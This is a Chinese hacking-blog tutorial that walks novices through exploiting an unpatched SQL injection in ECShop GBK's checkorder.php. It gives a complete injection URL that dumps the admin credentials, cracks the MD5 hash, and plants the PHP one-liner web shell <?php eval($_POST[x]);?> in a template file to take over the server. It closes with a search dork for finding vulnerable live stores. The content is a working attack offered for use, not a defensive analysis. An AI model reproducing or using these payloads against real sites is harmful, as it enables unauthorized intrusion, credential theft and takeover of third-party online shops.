危险漫步博客
新鲜的“黑客思维”就是从全新的角度看待黑客技术,从更高的层面去思考;专注于黑客精神及技术交流分享的独立博客。
文章2306 浏览20581466

Ecshop GBK版本通杀0day助大家轻松拿shell

我一看到通杀0day就兴奋,所以看到网上公布出ecshop GBK版本通杀0day时我就特别留意了一下,在虚拟机里测试成功。利用这个0day拿shell很简单,介绍给各位新手朋友。

ECSHOP是一款网上利用的比较多的开源免费网上商店系统,经测试最新版本程序也受这个漏洞影响。截止我写稿时官方还没出此漏洞的补丁。

一、怎样拿到用户名与密码

关于这个漏洞的分析我就不多说了,看EXP好像是api目录下的cbeckorder.php出现了注入漏洞,关于漏洞的更多信息大家可以参看一些文章。受这个漏洞影响的版本是ecshop和ecshop的GBK版本。这里我直接说EXP的利用,我用的这个EXP是静流公布的,在此说明。回车后就可以爆出ecshop后台管理员的用户名和密码(当然,爆出来的密码是经过MD5加密的)。

为了方便演示漏洞利用过程,我下载了存在漏洞的ECShop build 0604 GBK版的源代码,在虚拟机里的PHP环境中把ECShop安装了起来,有了测试站点来看EXP好用不。我们用浏览器打开,在地址栏的地址后面加上代码api/checkorder.php?username=%ee%27%20and%201=2%20union%20select%201%20count%28*%29,concat%28%28Select%20concat%280x5b,user_name,0x3a,password,0x5d%29%20FRom%20ecs_admin_user%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20%23,然后回车显示。顺利爆出了ecshop后台管理员的用户名和密码admin:7fef6171469e80d32c0559f88b377245,冒号前面是用户名,冒号后面是密码。把7fef6171469e80d32c0559f88b377245拿到在线破解网站进行破解,结果为admin888。

二、怎样拿shell

有了后台管理员的用户名和密码就该进后台拿shell了。Ecshop默认的后台目录为admin,在站点地址后面加上admin回车,就来到了后台登录地址页面。

用爆出的用户名和破解出的密码进入了后台。

ecshop后台拿shell比较简单,还是用以前在模板文件中插入一句话PHP木马的方法就可以成功。

具体步骤为:选择“模板管理”下的“库项目管理”,然后在“请选择一个库项目”的下拉列表中选择“myship.lbi -配送方式”,就打开了myship.lbi的编辑页面。

来到myship.lbi代码的最后,回车空出一行,然后插入PHP一句话木马代码<?php eval($_POST[x]);?>,点“确定”按钮保存修改,看到“库项目内容已经更新成功”的提示后PHP一句话木马就插入进去了,插入的文件是ecshop网站根目录下的文件myship.php。

用一句话PHP后门客户端连接,写上密码x,成功得到shell。用这个一句话木马另外传个shell上去,把myship.lbi恢复成原来的样子就可以收工了。

三、总结

这个漏洞的利用率还是很高的,差不多只要能破解出爆出的密码就能拿到shell。

ECSHOP作为一款网店程序,对安全性要求应该很高,却时不时的出个漏洞,不应该啊,不过也再次验证了一点:没有绝对的安全。由于是网店程序,大家们在练手时一定不要搞破坏,否则造成的任何损害与本作者无关。搜索“Powered by ECShop”、“Powered by ECShop”等可以找到可能存在这个漏洞的网站。